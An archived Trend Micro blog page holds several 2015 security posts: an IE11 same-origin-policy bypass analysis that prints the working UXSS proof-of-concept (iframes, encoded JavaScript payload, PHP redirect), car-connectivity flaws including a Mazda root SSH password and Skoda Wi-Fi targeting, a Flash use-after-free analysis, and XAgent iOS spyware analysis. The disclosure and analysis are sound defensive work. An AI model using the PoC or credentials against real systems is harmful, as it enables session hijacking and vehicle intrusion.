Trend Micro Facebook TrendLabs Twitter Malware Blog RSS Feed You Tube - Trend Micro
Search our blog:

  • Recent Posts

  • Calendar

    March 2015
    S M T W T F S
    « Feb    
    1234567
    891011121314
    15161718192021
    22232425262728
    293031  
  • Email Subscription

  • About Us

    Analysis by Henry Li and Rajat Kapoor

    Security researcher David Leo has disclosed a new vulnerability in Microsoft Internet Explorer. The vulnerability allows the same origin policy of the browser to be violated. The same-origin policy restricts how a document or script loaded from one origin/website can interact with a resource from another origin.

    Breaking the same-origin policy could allow an attacker to hijack sessions, steal authentication cookies, and launch phishing attacks. This flaw is described as a universal cross-site scripting (UXSS) vulnerability as it renders all websites vulnerable to XSS attacks.

    A UXSS attack does not need any vulnerability on the target website to be present. A user visiting a malicious URL is sufficient for the attack to be carried out. For example, the cookies of any site visited by the user in the past can be easily stolen. In other scenarios, the target site can be “modified” as if it had been compromised by an attacker, with all of these “modifications” taking place within the user’s browser.

    An attacker could potentially use an IFRAME to load a legitimate site for which the victim has an account. Due to the disclosed bug, the attacker now has the ability to run Javascript in the context of the legitimate site, something he should not be able to do due to the Same Origin Policy (a site can only use code to access its own content). The victim would then run the risk of possibly having the data they enter into that legitimate website, or cookies associated with it, stolen by the attacker.

    The researcher has posted a proof of concept that demonstrated the attack on the website of the British newspaper the Daily Mail. The exploit page provides a link to the Daily Mail website, which is opened in a new window. After seven seconds the content of the website is replaced with the page reading “Hacked by Deusen”.

    Websites could protect themselves from this vulnerability by using the HTTP header X-Frame-options with “same-origin” , “deny”, “allow-from” values.

    IE 11 is known to be vulnerable; it was not immediately clear if older versions are at risk. Windows 7, Windows 8.1, and the Windows 10 Technical Preview are all affected by this vulnerability. No patch or workaround is known at this time.

    Analyzing the vulnerability

    So how does this vulnerability work? We looked into this on a Windows 7 32-bit system, with an unpatched version of Internet Explorer 11 (version 11.00.9600.17041 of mshtmll.dll).

    Before explaining this vulnerability, we need to know some details about the data structure within mshtmll.dll.


    Figure 1. mshtml.dll data structure

    As shown in the above image, each IFRAME has a structure CWindow.

    • absid: the security identifier, which is represented by the current domain.

    The abSID is not a member of the CWindow. CWindow can call GetSIDOfDispatch to get the abSID.

    When we refer to a frame, the rendering engine creates a proxy window COmWindowProxy. This contains:

    • pWindow: pointer to the real html Window
    • pbSID: the security identifier, which is represented by the origin which refers to its real window.

    How does the same origin policy work? If we attempt to access the COmWindowProxy resource, it will call the function AccessAllowed. This function compares pbSid and pWindow->abSID. If equal, this access is in the same origin, and it is allowed to proceed. Otherwise, the attempt is rejected.

    In this case, the engine simply forgets to check for this access, allowing the SOP to be bypassed.

    The proof of concept is made up of two files: one an HTML file called poc.html and a PHP file called 1.php. THe HTML file contains two IFRAMES, namely:

    <iframe style="display:none;" width=300 height=300 id=i name=i src="1.php"></iframe><br>

    Example 1. Frame0

    <iframe width=300 height=100 frameBorder=0 src="http://www.dailymail.co.uk/robots.txt"></iframe><br>

    Example 2. Frame1

    It also contains a Javascript function:

    function go()
    {
    w=window.frames[0];
    w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.
    innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen
    %3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk
    %27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20
    location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript
    %3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1);
    }

    Example 3. go function

    The PHP file contains the following code:

    <?php
    sleep(5);
    Header(“Location: http://www.dailymail.co.uk/robots.txt”);
    ?>

    Example 4. PHP code

    The vulnerability is triggered this way:

    1. In the go function, the Frame0 domain is http://serverip, which this being the URL of the malicious site.. Because of the php call sleep(5), the sever response is pending.

    Frame1 domain is http://www.dailymail.co.uk, or any target site. The main frame domain is http://serverip.

    The command w=window.frames[0] will create a ComWindowProxy w like so:

    Because pbSID is equal to abSID, w.setTimeout access is allowed by the SOP.

    2. The w.setTimeout timeout fires.

    2.1. The command .x=top.frames[1] will create a COWindowproxy variant x. Its pbSID is serverIP.

    2.2. The confirm message loop processes a redirect message; the frame0 abSID will change to Frame1.

    2.3. JavaScript  engine runs x.location. At this point, the correct approach is to call x.AccessAllowed, because pbSID (the attack server IP ) and abSId (www.dailymail.co.uk) are not equal and thus, access will fail. However, here, no such check was ever made. The attacker can then run as “normal”.

    The root cause of this vulnerability is simply a forgotten call, leading to an SOP bypass. Interestingly, our tests suggest that Internet Explorer 8 handled this properly but later versions (9 through 11) did not.

    Trend Micro Deep Security provides protection to users via the following rule, which was released to users earlier in the week:

    • 1006472 – Microsoft Internet Explorer Same Origin Policy Bypass Vulnerability
     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    Hearing about vulnerabilities in your car’s operating system might seem strange. But it’s now something we all need to get used to.

    Last January 30, several security loopholes in BMW’s ConnectedDrive system, that could allow potential thieves to unlock doors and track car data using a mobile device, as the security gap may affect the transmission path via the mobile phone network were revealed. This was uncovered during a privacy assessment conducted by the German auto club ADAC, and is believed to affect 2.2 million BMW vehicles worldwide.

    According to a statement from ADAC, the vulnerable vehicles were prone to abuse of features like Remote Services (opening doors remotely), tracking the vehicle’s current location and car speed via real-time traffic information (RTTI), enabling and changing phone numbers on the emergency call function, and reading emails via the BMW Online feature in the BMW ConnectedDrive Store.

    BMW quickly acted on this finding and have sent out the update to address them. According to their press release, the update is carried out automatically as soon as the vehicle connects up to the BMW Group server and can also be triggered manually. The statement said that they are increasing the security of data transmission in their vehicles as they issued a patch, which would be applied automatically, included encrypting data from the car via HTTPS. Details about the actual security flaws and the patching process have not been published.

    (Theoretically) Hacking a Connected Vehicle?

    We need to ensure that we don’t jump into conclusions about the actual exploitation of these vulnerabilities without first knowing its full details. The issues raised in the BMW ConnectedDrive security flaws pose a few questions:

    • How often is a connection to the BMW server made automatically?
    • Wasn’t HTTPS already in use since 2010? Why wasn’t it enabled for the data being sent/received via ConnectedDrive (GSM)? What kind of information could be stolen by an attacker with their own GSM base station?
    • Does HTTPS mean SSLv3, TLS 1.0/1.1/1.2? Does this mean the BMW Group server was not checked before? Is it possible that a malicious “firmware” update entered the BMW car then?
    • And if the update is silent, how would the car owner know that the vulnerability was fixed? Does this mean the owner has no control what updates BMW is performing on this system?

    Getting answers to these questions would definitely shed more light on the severity of the vulnerabilities.

    Now, moving away from GSM to Wi-Fi, I will now use Skoda as an example for a theoretical hacking scenario without an actual analysis. Skoda, a Czech carmaker owned by the Volkswagen group recently introduced the car model Skoda SmartGate, which allows certain apps to download car data over Wi-Fi.

    The Skoda SmartGate system contains what is in effect a Wi-Fi router that devices can connect to to access car data. The default password is the vehicle identification number (VIN) of the car, which in some countries, can be easily found at the front window. However, WiFi is only on when ignition is on, and SmartGate is an optional equipment, i.e. you have to pay extra for this when buying the car.

    According to the owner’s manual (specifically on pages 100-1001), the WiFi network name is “SmartGate_<last-six-digits-of-VIN>.” SmartGate seems to run a web server on http://192.168.123.1/ which provides information of the car and allows some configuration of the SmartGate system. It allows for example to change the default WiFi password, but the password seems to allow only letters (A-Z) and number (0-9), the minimum length is 8 characters, the maximum length is 17 characters. This follows the specification of a VIN, which cannot be longer than 17 characters (given the fact, that a WPA/WPA2 password can be up to 63 letters, it could be considered as a rather short password). SmartGate seems to allow connections without any password, if security is set to “open”, but we strongly advise not to do so.

    To locate the car you’re interested in, you can wait until the driver turns on the ignition to see if the Wi-Fi network comes up. Or, you simply ask erWin, or the Electronic Repair and Workshop Information service from Skoda Auto, as it’s able to show the complete configuration/complete list of equipment of a car by entering the VIN.

    You need to be registered for that and to query the system for an hour you need to spend 5 EURs. Of course, you need to be in range of that particular car.  So is stalking a Skoda car for fun and (probably no) profit something to worry about? It is theoretically possible.

    Conclusions

    While we’re on this topic, let me mention two other things which popped into my mind when reading the story about BMW ConnectDrive:

    First, like in most other industries, the automotive world is moving away from dedicated /specialized/closed networks/bus systems (like CAN bus) to Ethernet/IP-based networks within the car. In the past, the car was completely “isolated”, think of an island which has no connection to the outside world. Nowadays, the car is connected to the outside world via GSM/IP protocol. You can see this from slide 8 of this official BMW presentation, titled Ubiquitous Networking In- and Outside The Vehicle With Ethernet & IP

    Secondly, in the past, radio was just a “stupid” radio. But now, modern infotainment systems are considered computers as well (and, are, of course, integrated more or less in the car network.). Did you know that the Mazda Connect infotainment system allows to connect to it via SSH, even as the “root” user?  The password  jci seems to be the first lower-case letters of Johnson Controls Inc., the OEM for Mazdas Connect infotainment system.

    The modern car is not just a mechanical machine, it is also a computer that is online as much as a smartphone or PC is. Therefore, it is something that users will have to protect moving forward, and car manufacturers should move to secure their products before any real-world attacks become apparent.

    Update as of February 6, 2015, 07:12 AM PST

    This blog entry was written when the full details were not yet released to the public. Full details on the BMW ConnectedCar vulnerabilities are available now at the following link: http://www.heise.de/ct/artikel/Beemer-Open-Thyself-Security-vulnerabilities-in-BMW-s-ConnectedDrive-2540957.html

    Update as of February 7, 2015, 21:42 PM PST

    Note that modifications have been made to this entry. We added a paragraph detailing the owner’s manual for clarification.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    Adobe has started rolling out an update to Flash Player which fixes the zero-day vulnerability we discussed earlier this week. This particular vulnerability can be exploited via all major browsers (Internet Explorer, Firefox, and Chrome); however Chrome users are protected by that browser’s sandbox for its Flash plugin, protecting end users from any attacks. The patch brings the newest version of Flash Player to 16.0.0.305.

    This particular vulnerability is a use-after-free vulnerability. Like CVE-2015-0311, the memory referenced by domainMemory was freed before it was used.  Other portions of the exploit are similar to CVE-2015-0311, such as the obfuscation, ROP techniques, and shellcode. After analysis of the exploit kit pages (we would like to thank Kafeine for working with us on this analysis), we’ve found that it is possible that this exploit was first used by the Hanjuan exploit kit.

    Despite these similarities, however, there are some differences between the earlier zero-day and this one.

    Background: ActionScript workers

    Before we can analyze this vulnerability’s root cause, we need to introduce some concepts about Flash and its scripting language, ActionScript.

    ActionScript 3.0 uses the Worker object to help developers implement high performance applications. Objects can be shared between different workers, as explained in the ActionScript 3.0 Developer’s Guide.

    The most important thing to understand is that workers share the underlying memory of a shareable ByteArray object. No new memory will be allocated when calling worker.setSharedProperty on a shareable ByteArray object. Changes by one worker on the shareable ByteArray object memory content will be seen by other workers.

    Root cause analysis

    The exploit code we acquired uses a worker object. There are communications between the main execution thread and the worker using a shared property and MessageChannel. MessageChannel is used to synchronize the main thread and the worker thread; the shared property is used to actually trigger the vulnerability.

    The vulnerability’s trigger flow can be simplified as following 3 steps.

    1. [Main Thread] A shareable ByteArray object is set to be shared between the main thread and worker thread by calling setSharedProperty.
    2. [Main Thread] Set this shareable ByteArray object memory to domainMemory.
    3. [Worker Thread] Worker thread gets the shareable ByteArray object through worker shared property by calling getSharedProperty, and then clears the memory by calling ByteArray::Clear.

    Why does domainMemory reference the freed memory?

    In step 3, the worker thread clears the memory of the shareable ByteArray by calling ByteArray::Clear. It is this action that triggers the bug.

    My debugging found that before the memory is cleared in the worker thread, the underlying buffer is referenced by the shareable ByteArray object and domainMemory. The ByteArray::Clear function will free the underlying buffer and set the pointer to NULL, but it does not notify domainMemory to change the memory reference. This is a logic bug, which is not present in other functions.

    Some functions, such as ByteArray::Length, will notify domainMemory to change the memory reference if they are called in a worker thread. Other functions, such as ByteArray::Compress and ByteArray::Uncompress, will throw an ArgumentError when called on a shareable ByteArray which is referenced by domainMemory within a worker thread.

    The following pictures show the differences before and after calling ByteArray::Clear:

    Figure 1. Memory references before clear function call

    Figure 2. Memory references after clear function call

    ROP and Shellcode

    This vulnerability’s ROP and shellcode are similar to those used by CVE-2015-0311. The ROP gadgets used are in the following picture:

    Figure 3. ROP gadgets

    The functions used by the shellcode are in the following picture. It uses winhttp functions to download the actual malware payload.

    Figure 4. Shellcode function call

    Figure 5. Payload downloaded (click to enlarge)

    We advise users to update their versions of Flash as soon as possible, if they haven’t already.

    Trend Micro products have been protecting users from this attack from the beginning through different technologies.

    The existing Sandbox with Script Analyzer engine, which is part of Trend Micro™ Deep Discovery, can also be used to detect this threat by its behavior without any engine or pattern update. The Browser Exploit Prevention feature in our endpoint products such as Trend Micro™ SecurityOfficeScan, and Worry-Free Business Security blocks the exploit once the user accesses the URL it is hosted in. Browser Exploit Prevention also protects against exploits that target browsers or related plugins.

    Trend Micro™ Deep SecurityVulnerability Protection (formerly the Defense Firewall plug-in for OfficeScan) and Deep Discovery customers with the latest rules also have an additional layer of protection against this vulnerability. Specifically, Trend Micro releases the following rules and patterns:

    • Deep Security rule DSRU15-004
    • Deep Packet Inspection (DPI) rule 1006468 for Deep Security and Vulnerability Protection (formerly the IDF plug-in for OfficeScan)

    More information about Trend Micro solutions for this threat are available in our support portal.

    Update as of February 4, 2015 12:55 A.M. (PST) – The entry has been edited to expound on the Trend Micro solutions for this threat.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    In our continued research on Operation Pawn Storm, we found one interesting poisoned pawn—spyware specifically designed for espionage on iOS devices. While spyware targeting Apple users is highly notable by itself, this particular spyware is also involved in a targeted attack.

    Trend Micro™ Mobile Security detects and removes this threat. Download the app from the App Store: Trend Micro Mobile Security – Privacy & Lost Device Protection for your iPhone, iPad, and iPod Touch.

    Background of Operation Pawn Storm

    Operation Pawn Storm is an active economic and political cyber-espionage operation that targets a wide range of entities, like the military, governments, defense industries, and the media.

    The actors of Pawn Storm tend to first move a lot of pawns in the hopes they come close to their actual, high profile targets. When they finally successfully infect a high profile target, they might decide to move their next pawn forward: advanced espionage malware.

    The iOS malware we found is among those advanced malware. We believe the iOS malware gets installed on already compromised systems, and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems.

    We found two malicious iOS applications in Operation Pawn Storm. One is called XAgent (detected as IOS_XAGENT.A) and the other one uses the name of a legitimate iOS game, MadCap (detected as IOS_ XAGENT.B). After analysis, we concluded that both are applications related to SEDNIT.

    The obvious goal of the SEDNIT-related spyware is to steal personal data, record audio, make screenshots, and send them to a remote command-and-control (C&C) server. As of this publishing, the C&C server contacted by the iOS malware is live.

    Analysis of XAgent

    The XAgent app is fully functional malware. After being installed on iOS 7, the app’s icon is hidden and it runs in the background immediately. When we try to terminate it by killing the process, it will restart almost immediately.

    Installing the malware into an iOS 8 device yields different results. The icon is not hidden and it also cannot restart automatically. This suggests that the malware was designed prior to the release of iOS 8 last September 2014.

    Data Theft Capabilities

    The app is designed to collect all kind of information on an iOS device. It is able to perform the following routines:

    • Collect text messages
    • Get contact lists
    • Get pictures
    • Collect geo-location data
    • Start voice recording
    • Get a list of installed apps
    • Get a list of processes
    • Get the Wi-Fi status


    Figure 1. XAgent code structure

    C&C Communication

    Besides collecting information from the iOS device, the app sends the information out via HTTP. It uses POST request to send messages, and GET request to receive commands.

    Formatted Log Messages

    The malware’s log messages are written in HTML and color coded, making it easier for human operators to read. Error messages tend to be in red, while others are in green as shown in the figure below.


    Figure 2. Color-coded HTML log messages

    A Well-Designed Code Structure

    We can see that the code structure of the malware is very organized. The malware looks carefully maintained and consistently updated.


    Figure 3. XAgent code structure

    The app uses the commands watchsearch, find, results, open, and close.


    Figure 4. List of base URIs

    Randomly Generated URI

    The full uniform resource identifier (URI) for C&C HTTP requests is randomly generated, according to a template agreed upon with the C&C server. The base URI can be seen in Figure 4, and parameters are chosen from the list below and appended to the base URI.


    Figure 5. List of parameters used with URIs

    Here are corresponding implementations we got during our reversing:



    Figures 6 and 7. Code for URI generation

    Token Format and Encoding

    The malware uses a token to identify which module is communicating. The token is Base64 encoded data, but padded with a 5-byte random prefix so that it looks like valid Base64 data. See the first line “ai=” part in the figure below.


    Figure 8. Client (XAgent) request

    Reverse engineering also revealed additional communication functions.


    Figure 9. HTTP communication functions


    Figure 10. C2 server

    FTP Communication

    The app is also able to upload files via FTP protocol.


    Figure 11. FTP communication functions

    Analysis of “MadCap”

    “Madcap” is similar to the XAgent malware, but the former is focused on recording audio. “Madcap” can only be installed on jailbroken devices.


    Figure 12. Code structure of Madcap

    Possible Infection Methods

    The exact methods of installing these malware is unknown.

    As far as we can tell the iOS device has to be jailbroken to install the Xagent malware. However we have seen one instance wherein a lure involving XAgent simply says “Tap Here to Install the Application.”


    Figure 13. Site used in downloading XAgent

    It is good to note that it is still possible to install the malicious app into non-jailbroken devices if the app is signed  using Apple’s enterprise certificate. Another possible scenario is infecting an iPhone after connecting it to a compromised or infected Windows laptop via a USB cable.

    To learn more about this campaign, you may refer to our report, Operation Pawn Storm Using Decoys to Evade Detection.

    The hashes of the related files are:

    • 05298a48e4ca6d9778b32259c8ae74527be33815
    • 176e92e7cfc0e57be83e901c36ba17b255ba0b1b
    • 30e4decd68808cb607c2aba4aa69fb5fdb598c64

    Special thanks to Loucif Kharouni and Fernando Merces for additional insights.

    Updated February 6, 2015, 10:30 AM PST

    Trend Micro™ Mobile Security protects users’ iOS devices and stops threats before they reach them. Trend Micro Mobile Security offers protection and detects these malware using the cloud-based Smart Protection Network™ and Mobile App Reputation technology.

    Updated February 11, 2015, 7:52 PM PST

    In a previous version of this blog posting, we stated that the iOS device doesn’t have to be jailbroken per se for the malware to be installed. We revisited this finding and found that the iOS device indeed needs to be jailbroken. The exact way how the actors install the espionage malware on iOS devices is currently unknown to us. It is very likely that social engineering is an important part.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    We have helpful information that can help us identify the exploit kit used in the Adobe Flash zero-day attack we blogged about yesterday. Adobe states in their advisory that the related vulnerability, CVE-2015-0313, affects current versions (Adobe removed version 11.x and earlier from affected software).

    At first, we figured that the exploit kit involved was Angler Exploit Kit because of the URL’s characteristics. So we tested it using Angler HTML parameters and found that SWF_EXPLOIT.MJST can be run.

    Another clue that led us to think it was Angler is because the obfuscation method is very similar.

    Figure 1. Similar obfuscation methods between two recent zero-days.
    (Click to enlarge)

    As Kafeine, an independent researcher pointed out to me, the attack is much more similar to the Hanjuan Exploit Kit.  The said exploit kit is very much directed towards capturing US traffic from a specific domain, via a specific ad platform. While it would be difficult to identify the exact exploit kit used in this specific run, based on clues from the domain/IP, the upper level HTML and the history of the exploit kit, I think it is reasonable and appreciate his help.

    In terms of impact, however, the threat is still as potent as ever. An in-the-wild zero-day exploit added to the very effective malvertising scheme should make us think twice about how careful we think we are when we are browsing online. Malvertisements are an old style of malware delivery but they remain incredibly notorious because websites have no choice but to load ads and trust whatever content is served by third parties. Users, on the other hand, also have no choice but to accept ads as a part of their everyday browsing experience.

    Well, we say “no choice” lightly, but in reality, IT administrators have much more secure options available to them. While updating software is a baseline best practice, this will do nothing for this attack at this time. Enterprise and home users should consider disabling Flash Player at least until the new patch is released—which Adobe will be doing so within the week.

    We also tested the exploit against Google Chrome and found that it cannot escape the sandbox.

    Trend Micro products have been protecting users from this attack from the beginning through different technologies.

    The existing Sandbox with Script Analyzer engine, which is part of Trend Micro™ Deep Discovery, can also be used to detect this threat by its behavior without any engine or pattern update. The Browser Exploit Prevention feature in our endpoint products such as Trend Micro™ SecurityOfficeScan, and Worry-Free Business Security blocks the exploit once the user accesses the URL it is hosted in. Browser Exploit Prevention also protects against exploits that target browsers or related plugins.

    Trend Micro™ Deep SecurityVulnerability Protection (formerly the Defense Firewall plug-in for OfficeScan) and Deep Discovery customers with the latest rules also have an additional layer of protection against this vulnerability. Specifically, Trend Micro releases the following rules and patterns:

    • Deep Security rule DSRU15-004
    • Deep Packet Inspection (DPI) rule 1006468 for Deep Security and Vulnerability Protection (formerly the IDF plug-in for OfficeScan)

    More information about Trend Micro solutions for this threat are available in our support portal.

    Update as of February 4, 2015 12:53 A.M. (PST) – The entry has been edited to expound on the Trend Micro solutions for this threat.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  



     

    © Copyright 2013 Trend Micro Inc. All rights reserved. Legal Notice